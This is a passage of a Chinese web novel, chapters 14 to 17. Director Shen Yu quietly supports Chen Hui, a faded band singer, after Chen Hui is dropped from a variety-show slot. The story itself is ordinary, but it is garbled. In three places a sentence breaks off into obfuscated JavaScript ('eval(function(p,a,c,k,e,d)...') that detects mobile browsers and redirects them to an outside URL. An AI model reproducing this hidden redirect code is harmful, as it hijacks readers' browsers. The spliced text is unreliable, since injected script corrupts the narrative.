“你为什么要去新星实验室?”江恕直觉有猫腻,这个节目他知道,才上线不久,是公司一个试水项目,不是主推,所以一直不温不火,请来的嘉宾大部分是新人,都还在起步期,而且,主打一个唱跳,和沈愚的专业也不对口啊。 江恕思来想去,还是觉得很怪,他觉得沈愚从新电影筹备开始,就一直很古怪。 好奇心最终打败了他乱糟糟的负面情绪,江恕精神一振,问道:“你是不是有事瞒着我啊?说来我听听?” 沈愚注视着他,像是在思考如果和盘托出,这人会不会直接跳起来和他大吵三百回合,江恕见他这犹犹豫豫的模样,就很不爽:“怎么,还怕我给你漏出去啊?这么不信任我?” “不是。”沈愚微微摇头,他顿了顿,还是说了,“有个朋友要去做串场嘉宾,我去看看。” “朋友?你还有当串场嘉宾的朋友呢?”江恕对这里边的门道是一摸清,他根本不信沈愚有这么个朋友,对方倒是镇定,似乎是料到自己没法隐瞒,就继续说道:“你记不记得我之前托你找过一个乐队主唱?” “记得,你白月光嘛。”江恕眼珠子一转,“我靠,他已经沦落到去跑这种通告了?” “嗯。” 江恕再仔细琢磨,觉得不对:“你是怎么知道他去的?不会——” 他一个激灵,猛地起身换了个位子,目光炯炯地盯着沈愚:“那人,是不是前段时间来面试过?” “嗯。”沈愚还是那不动如山的样子,江恕的大脑飞快运转,抽丝剥茧,层层深入,终于锁定了那个最有可能的人选。 “陈,陈什么来着?” “陈晖。” 江恕神色微妙:“我怎么印象中,你以前让我找的不是这个人?” “就是他啊,不过我当时给你的是他的艺名。” 江恕:“……” 好吧,这个圈子用艺名找人确实更快。 “然后你想干嘛?和他再续前缘?” 这句话就问到沈愚了。 现实的重逢,远没有想象中来得波澜壮阔,反而平静得像是一场梦。那挥之不去的惆怅完完全全盖过了失而复得的激动,变成一种隐秘的无法言说的苦涩。 “江恕,你说,抛去我导演这个身份,我本人带给陈晖的意义是什么?”沈愚轻声问着,江恕却丈二和尚摸不着头脑:“啊?你说什么?” “我的意思是,如果我不是个很有名的导演,那他还会喜欢我吗?只是单单喜欢我这个人。” “你疯啦,沈愚?”江恕眼睛都瞪大了,嘴一张就开始叭叭个不停,“抛开你大导演的身份,他还会跟你好?你现实一点行不行?你现在要是在下水道里乱爬,你还能和你的白月光重逢?你还有机会坐在这儿跟我说你要去看他的现场?你清醒一点,这个圈子吃人的!” 沈愚沉默不言。 江恕见状,以为他伤心了,就收敛了些:“嗐,我知道,你这人吧,有那么些个浪漫主义情节,很理想化,还很哲学,但这过日子又不能纯靠这些有的没的对不对?我也知道,从前那么多人缠着你,也就是冲着你手里头的资源来的,我懂,你这是ptsd了对不对?没事的,有哥在,一定不会让你受苦受累。” 沈愚:“……” 江恕又开始哥长哥短了,证明他现在心情很不错。 沈愚叹道:“好,我明白了。” “我跟你说啊,现在你俩,一个天上,一个地下,你想拉他一把,不是易如反掌?你要成了他的贵人,他不得对你感恩戴德?啊,当然,也不排除他是个白眼狼。”江恕又开始嘴上没个把门的,沈愚瞟了他一眼,他又立刻打住,笑笑:“你看上的人,一定不会是白眼狼。” 沈愚默然。 江恕还是笑嘻嘻地说着:“要不这样,我带你去,顺便也让我好好瞧瞧,我都不记得他长啥样了。” 沈愚想了想,觉得也行,就同意了,还道了声谢,不过同时,他又叮嘱江恕,希望这人能保守秘密,不要大张旗鼓。 “那肯定啊,我还能害你?再怎么样,我也不能把我一手的好牌打个稀烂啊。”江恕拍拍他的肩膀,一脸的语重心长,好像自己真真儿拿住了沈愚的软肋,又或者觉得这样的沈愚怪好玩的,莫名有了几分责任感。 毕竟沈愚也算是自己一手捧起来的,不管是里子面子都给他挣到了,比起那些酒肉朋友,要多上不少真心实意。 想到这儿,江恕就道:“你什么时候去现场,我好安排一下。” “后天中午录制。” “行,那十点钟我去你家接你。” “好。” 两个人达成了共识,晚点的时候,江恕就让管家李叔送沈愚回去,自己又往床上一趴,开始着手安排一下后天的事宜。 沈愚路上和李叔寒暄了几句,这个管家也是从江恕小时候就在江家做活,如今四十五六岁了,也还在给江恕任劳任怨地打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705252|173521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理住宅内外。 李叔对沈愚印象很好,觉得他和少爷那些个狐朋狗友不一样,因此沈愚每次来,对他都很客气。尤其是这次江恕反常得厉害,李叔也不放心,便左右向这位大导演打听起来。 沈愚却没有立刻坦白,只是问着:“李叔,江恕以前脾气怎么样?” “以前啊,以前老爷和夫人没离婚的时候,少爷其实性格挺好的,是个很乖的小孩。后来老爷夫人离了婚,他性格就变了。”李叔对这种豪门秘辛知道的不多,他以前只负责照看年幼的江恕,其他的事情没资格参与。 沈愚听到这里,继续问:“后来怎么样呢?” “后来上了大学要好一些吧?但后来又有一段时间很暴躁,具体我不太清楚。”李叔絮絮叨叨说了不少,但有用的不多,沈愚简单应了两句,直到到家都没有再追问。 他想,江恕有时候很矛盾很复杂,但自己也只有以不变应万变了。 车子很快停稳在沈愚家门口。 下了车,他的手机收到了两条消息。 一条来自小刘:“沈哥,梁总的联系方式我推给你,那边我也说好了,直接加就行。” 沈愚:“好的,谢谢你,麻烦了。” 点击发送,切出界面,查看另外一条。 江恕:“都给你安排好了,就十点,不见不散。” “谢谢。” 江恕没回,他手机一扔,又睡过去了。 沈愚也没再给他发消息,按部就班地洗漱、处理邮件、躺下睡觉。 第二天无事发生。 沈愚依约去给陈晖上小课,陈晖不好意思太麻烦他,卯足了劲儿去学,虽然短期内还没看到效果,但起码理论知识也算跟上了。 等到快结束的时候,陈晖还托沈愚帮忙听听他准备的歌谣,免得上了台丢份。 沈愚自然求之不得,只是他表现得很平静,坐在沙发上,神色柔和地注视着这人。陈晖家的布局比较简单,但有不少从前留下来的小装饰品,大抵是很久以前,粉丝抛到台上的应援旗,还有一些别的。那些写着他们乐队名字的小旗子被陈晖拆了下来,贴在了墙上,有个别的上面附了几个小小的Led灯,一打开基本都是暖色调。 沈愚就坐在这样一片温暖的光晕里,那张脸安静、温柔、十分漂亮,像是一片荒漠里长出来的玫瑰,盛开在早已逝去的青春里。 陈晖与他对视一眼,就像被一根刺扎了一下,酸涩难耐,连声音都不自觉地发抖。 沈愚听见了这一声细微的类似于哽咽的气音。他不免又想起昨晚江恕对他的一番说教,如今再次反刍,忽然觉得现在最重要的,不是思考自己对陈晖的意义,而是要让这个人从过去走出来。 沈愚有一瞬间轻松许多。 一首歌结束,他朝着陈晖笑了笑:“就这首吧,我觉得很好听。” 他笑起来格外温顺,陈晖肉眼可见地脸红了:“谢谢沈导。” “不谢。” 沈愚没有告诉这人明天的事情。 他打算先去了解一下陈晖的工作环境。 15. 第 15 章 时间转瞬即逝,很快就到了通告那天。陈晖早早起床,洗漱、吃饭、检查自己的吉他,再三确认无一漏洞之后,就下了楼,在小区门口等朱嘉意。 他住的地方比较偏,小区相对老旧,私家车进出不是特别方便。所以他外出都是坐公交,就算有活动需要和朱嘉意一块出去,也是在马路边上的公交站台等。 今天又是个大热天,十点不到,太阳就火辣辣地悬在空中,晒得人都要融化了。好在陈晖刚到那个站台,朱嘉意就来了,没怎么出汗,不然汗涔涔地去录制现场,怪难看的。 陈晖刚坐上副驾,朱嘉意就和他聊起了闲天,无非就是让他不要紧张,正常发挥之类的叮嘱,陈晖连连点头,还抽空看了会儿《舞台表演基本技巧》。 朱嘉意见状,话锋一转,问他:“你和沈导怎么样了?” “嗯?”陈晖一愣,抬起头来,“我和沈导没怎么啊。” “他那天找过你之后,就没去了?”朱嘉意话里有话,但没有明说,陈晖却知道他的意思,回答着:“沈导这两天都会来给我上小课,但除了这个,他什么都没有说。” “什么都没有?” “嗯。” 这下轮到朱嘉意愣住了:“那他图个啥?这百忙之中抽空给你开小灶,还不收钱?其他的那些什么选角儿的,都没有?” “没有,他不聊工作。”陈晖虽然也很不能理解沈愚的动机,但他不喜欢朱嘉意这明里暗里八卦对方潜规则的心思,不管怎么听,都觉得是对沈愚的一种贬低。 “我觉得做好自己的事情就行了,沈导不是那样的人。而且,”陈晖犹豫了一下,说道,“他说以前看过我的演唱会,对我挺有印象的。” “啊?”朱嘉意一惊,琢磨着不对劲,问他,“你可不要告诉我,沈导曾经是你的粉丝?” 陈晖沉默了。 虽然沈愚是这么说过,但事后一想,还是太不可思议了,他宁可相信这是对方为了安慰自己编造的谎言,但要是这么想,那沈愚帮自己的动机就更扑朔迷离了…… 朱嘉意见他不说话,还以为自己发现了新大陆,两眼瞬间就瞪大了:“我的妈呀,真的啊?我跟你说,这这这可是天大的机会!你撞大运了!回头你再和沈导多说说,马上安排你一个露脸的机会,咱也不强求他多捧着咱,但拉一把总不为过吧?那么大个导演,得有多大的话语权啊?你——” “嘉哥。”陈晖眉头微蹙,打断了他,朱嘉意见状,就知道他又开始犟了,忙劝道:“我又没说让你阿谀奉承,你就,装作不经意那么一提嘛。” 陈晖知道他是好心,只是自己过不去心里这道坎,什么贵人,什么机遇,在这个圈子里,瞬息万变,一文不值。 但现在,他也懒得再和朱嘉意争论,又或者,实在是不想拂了对方的面子,便敷衍着:“我知道了。” “你每次都知道知道……”朱嘉意嘀咕了一句,见他脸色确实不好,就把后边的埋怨咽下去了。 他们驱车来到录制现场。 它在一栋大楼里,准确来说,是一整栋楼,二十层,全部都是录制大厅,可以同时容纳好几个节目组。 这里属于江恕。 陈晖听到这个名字,心里面有了些微妙的预感。 他背着吉他,跟着朱嘉意进了电梯,上到十二楼,默不作声地进了后台,见了见导演。那是个三十几岁的中年人,看着很干练,但他忙着统筹,顾不上这边,朱嘉意都没和他打上招呼,就被一个导演助理打断了,催他去化妆间准备。朱嘉意也不好说什么,讪讪地笑了笑,就领着陈晖去了化妆间。 那一片也是嘈杂拥挤,即将上台的大大小小的伴舞、伴奏演员一概在这里化妆,放眼望去,都不知道在哪儿下脚。朱嘉意犯了难,一个化妆师风风火火跑了进来,见到陈晖背着个吉他站在门口,气不打一处来:“哎哎哎,你没事儿站这儿干嘛?让开点,堵着道儿了知道吗?” 陈晖听了,立马往角落里缩了缩。可这人一嗓子,吸引了不少目光过来,有几个低声埋怨了陈晖几句,声音不大,却听得清清楚楚,大概就是嫌他添乱,没个眼力见儿。 陈晖也没生气,反倒觉得挺抱歉的,他和朱嘉意说:“嘉哥,我们去外面等等吧,别打扰人家工作。” 这会儿离他上台还早得很,等一等也没什么。何况他这种小角色,万一捅出点篓子,谁都能踩上一脚,得不偿失。 朱嘉意也没多话,就和人一块去外头等着。 走廊里也是人来人往,好几个工作间都在加速运转。陈晖和朱嘉意却哪儿都不能去,只能在走廊里干站着,等里边忙完,再进去简单化个妆,然后上台,五分钟唱完,就回家。 可这五分钟,却需要花费很长的时间等待,不能掐点到,因为任何意外都可能在等待的过程中发生。机会很难得,要竭力全力地把握。 陈晖沉默地站在墙角,就像罚站一样。不过他只是在放空,没有想太多。现在的处境比起他被造谣,被千夫所指的那段时间,好过多了。坐了这么多年冷板凳,他也习惯了。 他深吸气,不断调整自己的状态。 朱嘉意站得有点累,想去找个座,他问陈晖去不去,对方摇了摇头,婉言谢绝了。 “好吧。”朱嘉意叹道,“我本来是想先带你见见节目导演的,没事儿,等结束了再见也一样,他说了,呃,看过你的简历,觉得你能进公司集训,已经很优秀了,也希望和你见一见。” 果然。 陈晖没有意外。 他想,也许他这辈子,都要和沈愚这个名字纠缠在一起了。 他客气地让朱嘉意先找个地方休息休息,自己则再等一等。 只是这会儿,陈晖心情有点微妙,他默默打开手机,翻到和沈愚的聊天记录,对方在昨晚还祝他演出顺利。陈晖越看这行字,越对那位大导演感到好奇。 到底是为什么呢? 陈晖百思不得其解。 沈愚下了车,江恕扔给他一顶鸭舌帽,还给了他一张口罩,让他戴上。沈愚有些奇怪:“为什么要戴这个?” “朕要微服私访。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705253|173521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沈愚:“……” 江恕说帮他办妥,但就是让自己的助理薅了两个工作牌出来,冠冕堂皇地说他要去视察工作,然后让助理对外保密。 沈愚听了一大圈,觉得很无奈。 他知道自己出现在这样的现场不太合适,所以拜托江恕低调些,但没想到对方也要掺合一脚进来,这下,真有种大事不妙的感觉了。 “走啊,我带你去找你白月光。”江恕一脸看热闹不嫌事大,沈愚头疼,十分恳切地问他:“能不能让我一个人安静会儿?” 江恕咋舌:“那你知道这里怎么走吗?” 沈愚:“……不知道。” “那不就得了?”江恕拍拍他的肩膀,“走吧,我带你,免得你开场了还没摸到门儿。” 沈愚扶额,只好跟着人先上了楼。 推开录播室的门,观众都还没进场,只有制作组在布置现场,还有些候场的嘉宾在角落里谈天,又或者在听具体的流程安排。江恕和沈愚一人挂着个工作牌,溜到偏僻的角落里等开场。 感觉有哪里不对劲。 沈愚直觉不妙,他只是要来听一听陈晖的现场,但被江恕这么一搞,就像来窃取商业机密的小贼。 他怼在墙角不敢动。 江恕倒是自来熟,戴着个墨镜,一副酷哥样儿地在那里和几个年轻歌手撩了起来。那些人都刚出道不久,有些甚至还没出道,圈子里认识的人少之又少,江恕再怎么有名气,也只是个制片人,不会像那些炙手可热的大明星成天挂热搜上,他们自然也不认识他。江恕放心大胆地和他们聊着天儿,余光一瞟,发现沈愚不知道什么时候不见了。 “就这么不待见我?”江恕嘴上嘀咕着,心里也清楚,这位大导演就是人多社恐,想了想,就随他去了。 沈愚去找了下化妆间。 隔行如隔山,但有些东西还是相似的。 这会儿电梯比较忙,沈愚习惯性地选择走楼梯。如果没有猜错,录播室上一层或者下一层就是化妆间、休息间之类的。他往上走了半层,仰头却看见陈晖抱着他的吉他,坐在楼梯里调弦。 陈晖过于专注,沈愚走路又轻,他压根儿没注意有人上来。沈愚后退了几步,站在楼梯的阴影里。 陈晖清了清嗓子,试着唱了几个音节,明明只是几个简单的字节,但沈愚听着,总觉得他很紧张。 但愿一切顺利吧。 陈晖祈祷着,沈愚也如此。 那首歌谣,还是和昨天那般温暖,像一块甜蜜的糖果,入口即化,听得人也不由自主高兴起来。沈愚静静地站着,想起他平平无奇的28岁,想起他这一路走来的种种艰辛,万分释然。 他想他这一生都被这样深入人心的音乐束缚着,被陈晖这个名字束缚着,诅咒他一刻不停地向对方靠近。 良久,陈晖终于调试完毕,重新回到走廊,沈愚犹豫了一会儿,才默默走到安全通道的出口,观望了两眼那热闹的走廊,想了想,还是回到了录制室。 今天就先做个合格的观众吧。 他想。 16. 第 16 章 录制很快就开始了。 整个录播室座无虚席,极其热闹。 沈愚找了个无人的角落站着,那地方光线比较按,前面又恰好有台摄影机挡着,不仔细看,谁都发现不了他的存在。江恕不知道去了哪里,大概真去微服私访了,又或者只是单纯玩得高兴,乐不思蜀。 但沈愚乐得清闲。 哪怕这里灯光璀璨,声浪如潮。台上的偶像在卖力挥洒汗水,台下的观众在热情高涨地应援,但这一切的喧闹都与他无关。 沈愚期待着陈晖登台,期待他再次闪耀在聚光灯下。 可是当主持人宣布了那个神秘的串场嘉宾时,沈愚却是一愣——那是个陌生的名字,他甚至从未听过。 直觉告诉他,大概率是出了问题。 沈愚沉默地扣紧头上的那顶鸭舌帽,去了趟后台。可谁曾想,刚走到门口,就和陈晖撞上了。对方一脸凝重,看上去还有些生气,只是隐而不发,表情很难看。而旁边那个,应该是他的经纪人,正嘀嘀咕咕地说着些话,声音不大,听得不太清楚,只隐约听见说了什么“怎么这样”、“临时换人”之类的。 沈愚停下了脚步,就贴着墙站着。陈晖还在想着被突然换掉的事情,并没有注意到旁边那个戴着鸭舌帽的人。 他以为那就是个普通路过的工作人员。而现在,他非常不想见到和这个制作组有关的任何人。 陈晖匆匆走了。 沈愚走到安全通道口,打了个电话给江恕。那头很是嘈杂,某人的声音几乎听不见,沈愚叫了他三遍,他也还只是“喂喂喂”地回应着。无奈,沈愚挂断了电话,选择发消息给他。 “串场嘉宾不是定的陈晖吗?怎么临时换人了?” “不知道啊,我帮你问问。” “嗯。” 沈愚有种不太好的感觉,心里闷闷的,不太舒服。 没多久,江恕的消息就回来了。 “导演说他不记得陈晖这人了。” “不记得了?”沈愚蹙眉,“什么意思?为什么说不记得了?是他忘了通知导演组其他人,还是他根本就不记得约了陈晖做这次串场嘉宾?” “不知道啊,反正就这样了。”江恕知道他可能会有点膈应,因为沈愚是个相当有规划,做事有条理,而且信守承诺的人,但这种临时换角的事情,在这个圈子里屡见不鲜,何况他陈晖是个角儿么?江恕总不能因为一个素人,和自己家工作人员闹得不愉快,装着提醒两句就行了,免得外人说他们做事不地道,但那又怎么样呢? 一点影响都没有。 江恕说了一堆有的没的,还象征性地安抚了下沈愚的情绪。 他觉得自己够意思了,也觉得沈愚能理解,大家都是在工作,这点道理能不懂吗? 可沈愚理解,但沈愚无法接受。 他看着手机屏幕上,江恕发来的长篇大论,心里面五味杂陈,不知道该怎么回。实在理不清,他把手机一关,就离开了这栋大楼。 他想着,自己应该去找一趟陈晖。 于是他坐上一辆公交车,倒了两次线,绕了两个小时,来到陈晖家的小区门口。 他希望这两个小时,自己已经冷静了,陈晖也已经冷静了。 彼时是下午三四天,烘烤磕一天的大太阳还高悬于空,整条街上热浪滚滚,热得人头脑发胀。沈愚进了那家小饭馆,找了个座位坐下。现在不是饭点,几乎没有什么人,那老板娘给他倒了杯柠檬水,让他随便坐坐,想吃点东西也能现炒。沈愚只说自己在等人,想等朋友来再做决定,老板娘就笑笑,又去一边坐着嗑瓜子了。 沈愚打开手机,想找找陈晖,结果先弹出来的是江恕的聊天界面。 “你去哪儿了?”对方问他,沈愚一时无言,回道:“太吵了,我先回来了。” “你都走了?” 隔着屏幕都能感受到江恕的诧异,沈愚不理解,他觉得这人有时候挺大惊小怪的,就好像自己就应该这样这样,而不是那样那样。 沈愚说不上来,只回了个“嗯”字。 江恕:“……” 不了了之。 沈愚叹了口气,切回陈晖的聊天界面,上面还有昨天他祝这人演出顺利之类的客套话,现在一看,莫名刺眼。 思来想去,沈愚发了条消息:“你回来了吗?” 陈晖隔了一会儿才给他:“回来啦,马上就到家,怎么了吗?” 沈愚手一顿,也不知道还怎么回,干脆诚实地告诉他,自己在他家小区门口那个小饭馆里,问他要不要一起吃个晚饭。 屏幕上那个“对方正在输入”反反复复地出现,可沈愚没有得到任何答案。 陈晖对这人的邀请很是意外,有些不愿面对。 都已经接受了他的祝福,精心准备就为了这短短的五分钟,结果还是莫名其妙被换了下来。那边的制作组甚至说并没有让他跑这个通告,连他的名字都不知道。朱嘉意和人掰扯半天,也没个准确的回复。 但他们能怎么样呢? 总不能当场和对方撕破脸,这圈子,好事不出门,坏事传千里,要想给你穿小鞋、泼脏水,那实在是太容易了。 所以陈晖没有声张,背着吉他出了录制现场。朱嘉意也很难受,他说他明明收到了邀约,结果呢,就这样被人摆了一道。 朱嘉意虽然在埋怨,但还是安慰陈晖,下次还有机会。 “没事的,嘉哥,这次害你白跑一趟,是我对不住你。”陈晖笑笑,尽管看上去并不是发自真心。朱嘉意欲言又止,最终只是叹了口气,没再和他搭话。 陈晖在小区门口下了车,和人道别。朱嘉意油门一踩,就飞驰而过。那明晃晃的日光照在有些年头的车身上,仿佛每处划痕都能看见,凌乱的、扎眼的,像他这几年乱糟糟的人生。 陈晖默然,走了两步,去到那个小饭馆。 他进去第一眼就看到了沈愚,尽管那人今天打扮得很朴素,但那张脸还是好看得要命。 陈晖莫名释怀了。 他笑着,举起右手,打了个招呼:“沈导。” 然后他就大踏步地走了过去,坐在了沈愚对面。 陈晖本身长得就很阳光,五官英挺,又帅又潇洒,今天登台又特意打扮了一下,显得更朝气蓬勃了些。 沈愚恍惚间以为自己是在和20岁的陈晖对话,时间倒流回几年前的音乐节,倒流回那个热闹的永不散场的黄昏。 陈晖见他沉默,还以为自己哪里有问题,问他:“怎么了?” “没。”沈愚轻轻摇了摇头,陈晖就笑着:“现在吃晚饭有点早,您是不是有事要找我啊?” 可能就是要问问我演出的事情吧。 陈晖其实挺忐忑的,他觉得自己这样,有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705254|173521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丢人。虽然不是他的错,但没能给沈愚留下一些比较好的印象,这让他觉得自己有些辜负这人的善心。 没想到,沈愚只是静静地注视着他,问道:“你现在心情怎么样?” “我嘛?还可以。”陈晖笑着,他确实比在路上的时候好很多,可能是这么些年遭遇的种种是非,早让他习惯了这些不公平,也有可能是见到这人,心情就会变好。 沈愚见他笑,心里积压着的阴云就消散了许多,说着:“我今天去了趟现场,发现串场嘉宾是另一个。” 陈晖一愣,沈导去了现场? 沈愚想了想,又道:“这件事我可能给不了一个很好的结果,但是下次如果还有别的机会,我会第一时间告诉你的。” 陈晖更是傻眼:“啊?” 他反应了好久,才明白沈愚的意思,不由莞尔:“你是在替我打抱不平?” “嗯。” “哈哈。”陈晖朗声笑着,“不用啊,这种事情没什么大不了的,过去就过去了吧,下次一定还有机会。而且——” 他抿了抿唇:“我也不好意思因为这种事情麻烦你,没什么必要。” “你愿意来现场看我,就已经是我莫大的荣幸了,虽然我并没有登台。” 陈晖感觉沈愚真的对他好得过头了,他哪值得大导演出人情给他找机会? 沈愚没有说话,眼帘微垂,似乎在认真思考。半晌,他问:“你平时的话,也可以搞搞直播什么的,人气上去了,机会自然就会多,你那么有才华,不能一直这样埋没下去。” 陈晖有些无奈:“我当时和公司签了协议,本来是要以乐队出道的,出道前为了保密,公司不让我们搞直播啊什么的。但是呢,出道的事情出了点意外,就搁浅了,但是协议还在生效,我也没办法。” 他苦笑:“可能再熬个一两年就出头了吧。” 沈愚闻言,又问:“那你转型的话,和你那个协议冲突吗?” “啧,怎么说呢,那都是刚进公司时签的了,现在我这么糊,也没人管我。” 沈愚觉得陈晖隐瞒了很多细节,很多很多,导致他说的话漏洞百出。 他一定有所顾虑,所以不敢轻易迈出第一步。 可是,人生总要向前看。 “你这次集训,一定好好表现,江恕说,表现不错的新人都可以签下来。”沈愚目光深沉。 “啊?”陈晖更是愣在原地。 沈导的意思是,表现好就签下他? 陈晖脑袋懵懵的:“你是不是对我太好了?我值得你这么做吗?” “我只是告诉你这件事,能不能签下,要靠你自己。”沈愚没有正面回答,陈晖思索着,大导演说得也对,事在人为,他只是从对方口中得到了这个消息,能不能成功确实要靠自己。 不过—— “沈导真的不是要潜规则你?” 朱嘉意的话不合时宜地冒了出来,陈晖思考得大脑都要冒烟了,索性作罢,他道:“要不这样吧,我请你去我家吃饭好了,我给你做,这个点下馆子太早,自己做的话,时间就差不多,怎么样?” 沈愚一口答应下来。 陈晖觉得今天的一切就跟过山车似的,很魔幻,很离谱,但他见到沈愚,又觉得事情还没有糟糕到要立刻去世的程度。 挺好的,过了今天,明天又是崭新的开始。 17. 第 17 章 这件事很快就翻了篇。 知情的,不知情的,全都没有再提及。每个人都在朝前走,陈晖也不例外,只不过,他的前路依旧曲折。几天后的情景剧表演,他又因为接不住对手戏,被私底下冷嘲热讽了很久。虽然那些人默契地没有当面给他难堪,可眼神中流露出的不屑还是令他备受打击。 这次的集训,的确有不少素人,但不代表他们没有底子,他们和顶流之间,也许只差一个平步青云的机会。只有陈晖,像个一穷二白的傻瓜蛋儿,什么都拿不出手。 表演结束后,陈晖背着包,一个人默默地走楼梯下去,想避开所有人。但丁奇追上他,和他一道走着:“你别不开心啊,你的台词和第一次比好上太多了,演技也是要慢慢积累的,我相信你。” “谢谢。”陈晖点点头,仍是有些落寞。丁奇没有劝太多,他知道这个问题光是靠安慰,根本没办法解决,最重要的,还得是陈晖自己要跨过这道坎儿。 “你是不是在害怕什么呀?” 陈晖脚步一顿,苦笑着:“我吗?我没有啊,我这不挺好的?” “好吧。” 丁奇没有追问,和人一起走到公交站台,就分别了。 陈晖的车还没来,就靠着广告牌,沉默地站着。他的大脑很空白,什么都不愿意想,也什么都想不起来。他茫然地藏在人海里,像个毫不起眼的浪花,风一吹,就消失得无影无踪。 他望着来来往往的陌生人,瞧着远处的红绿灯,忽然想起沈愚。 不知道大导演下班了没有。 不知道今天会不会再遇到这个人。 陈晖陡然紧张起来,算了,见什么呢?他这种水平,还配见人家?烂泥扶不上墙,只会给人添麻烦。 陈晖郁闷死了,决定不回家,去江边散步。 可人倒霉的时候,喝凉水都塞牙。 等他到了江边,又变了天,大雨倾盆而下,他不得不去一家最近的超市躲雨。 “唉。” 陈晖摸了两把自己淋透了的头发,有些心酸,就买了一条便宜的毛巾,想擦擦干净。等走到柜台,他一瞟,又看见了角落里的海报。 是他们乐队的海报。 是他不堪回首的20岁。 陈晖更是难受,付了钱,逃也似的冲出了门。老板一脸惊讶,叫了声:“外面还在下雨!” 可陈晖像是没有听见,冲进滂沱的雨里,一直跑进了公交站台,坐上了一辆刚刚到站的公交车。 他没有心情去确认现在是几路。 他恨不得跟着这辆车去到天涯海角,去到一个没有任何人知道他的地方,重新开始。 头发上的雨水滴答滴答往下掉,顺着他的脊背,渗入湿透的皮肤里,乃至灵魂深处。 陈晖吸吸鼻子,用毛巾捂着脸,才没有让眼泪落下来。车内人不多,玩手机的玩手机,睡觉的睡觉,没人注意到他。陈晖冷静了一会儿,才就近下车,准备回家。 夏天的雨,来得快,去得也快,外面的高楼大厦灯火通明,路过的行人还打着伞,匆匆走过他的身边。 陈晖不熟悉这边,只能选择打车回去。他打开手机,才发现沈愚给自己发了条消息:“明天我有别的工作安排,暂时去不了你那边了。” 陈晖笑笑,回了个“好”。 对方没有回。 陈晖盯着手机屏幕,不知道是不是心情作怪,他开始忧心忡忡起来。 沈导是不是知道今天他的表现很差,所以才借口明天有事,不来了? 一想到这里,陈晖就更加难过,可念头一转,他又有什么资格难过呢?大导演愿意教他,本来就是天上掉馅饼的事情,现在老天要将这块馅饼收回去,也是理所当然。 陈晖坐上了回去的出租车,手机一关,就闭上眼睛,假装睡着了。 沈愚的确知道今天的表演课成绩。 这次课堂评分,小刘将它做成了汇总表,交到了他手上。 “大部分都很不错,就是有个别人差得太突出了。” 小刘如此评价。 沈愚点点头:“好,我知道了。” 他不意外,陈晖的底子太差,即使突击训练,那也是杯水车薪。 以那个人的性格,应该会伤心吧? 沈愚轻叹,想着明天去陈晖家里,和对方当面谈谈,安慰或是鼓励,总要有点行动。可是江恕说明天天星的人还要来一趟,让他也过去,这下,计划就要推后。 沈愚思考了很久,打了很多字,但即将发出去的那一瞬间,又通通删掉了。 说太多,会不会让他多想呢? 沈愚拿不定主意,最终还是选择简单些,删删改改,发了这么一句,想着等见了面,再好好和人聊聊。 一个拥抱,或许比长篇大论更能传递一些无法言说的感情。 沈愚纠结了一会儿,没多久,他就被江恕逮了过去,说是有重要的事情要谈。 “和你初恋有关?” 江恕:“……你不提他会死吗?” 沈愚没有说话,江恕扔过来一个牛皮纸袋:“这是最终的合同,你看看,没问题的话,明天我就签了。” “天星那边都谈好了?” “本来就没多少事儿,就那姓梁的自己戏多,要不是他横插一脚,这合同早就签了。” 沈愚点点头,拆开纸袋:“临阵换将,天星那边也挺奇怪的。先前这个项目的负责人是离职了吗,怎么会突然换成梁彬?” “梁彬是天星的太子爷,最近刚接手公司,需要做出点成绩,那边就把人换了,给他上。” “啊?” “啊什么啊?说你是甩手掌柜,你还真当上了?”江恕说着说着就气笑了,沈愚翻开合同,仔细看了一遍,对上面的条款也表示赞同。 “赵苇航怎么说?我记得他也是天星推荐过来的。”沈愚忽然想起这个人,就随口问了一句。 这不提还好,一提,江恕的脸色就更难看了:“赵苇航实力不错,能用,我还不至于拿个小朋友撒气。” “嗯,举贤不避亲仇,你——” 沈愚话还没说完,就结结实实挨了江恕一脚,乖乖闭嘴了。 “你今天睡我家吧,我让吴妈收拾下房间。” 沈愚:“?” “这样明天能一起出门,省得我还要去你家接你。” 沈愚:“??” 好像也有一点道理。 沈愚答应下来,江恕手一甩,就先回了房,偌大的书房忽然就安静了许多。沈愚打开手机,才看见陈晖给自己回了消息,他看了眼时间,夜里十点整,不知道那人睡觉了没有。 要不要打个电话呢? 心里面一旦有了这个念头,就怎么也按捺不住。 沈愚说服自己,他是担心陈晖心情不好,所以要安慰一下对方,于是他按下语音通话键。 陈晖没有接。 沈愚有些失落,没有再去想这件事。 夜里,他躺在床上,有些失眠。 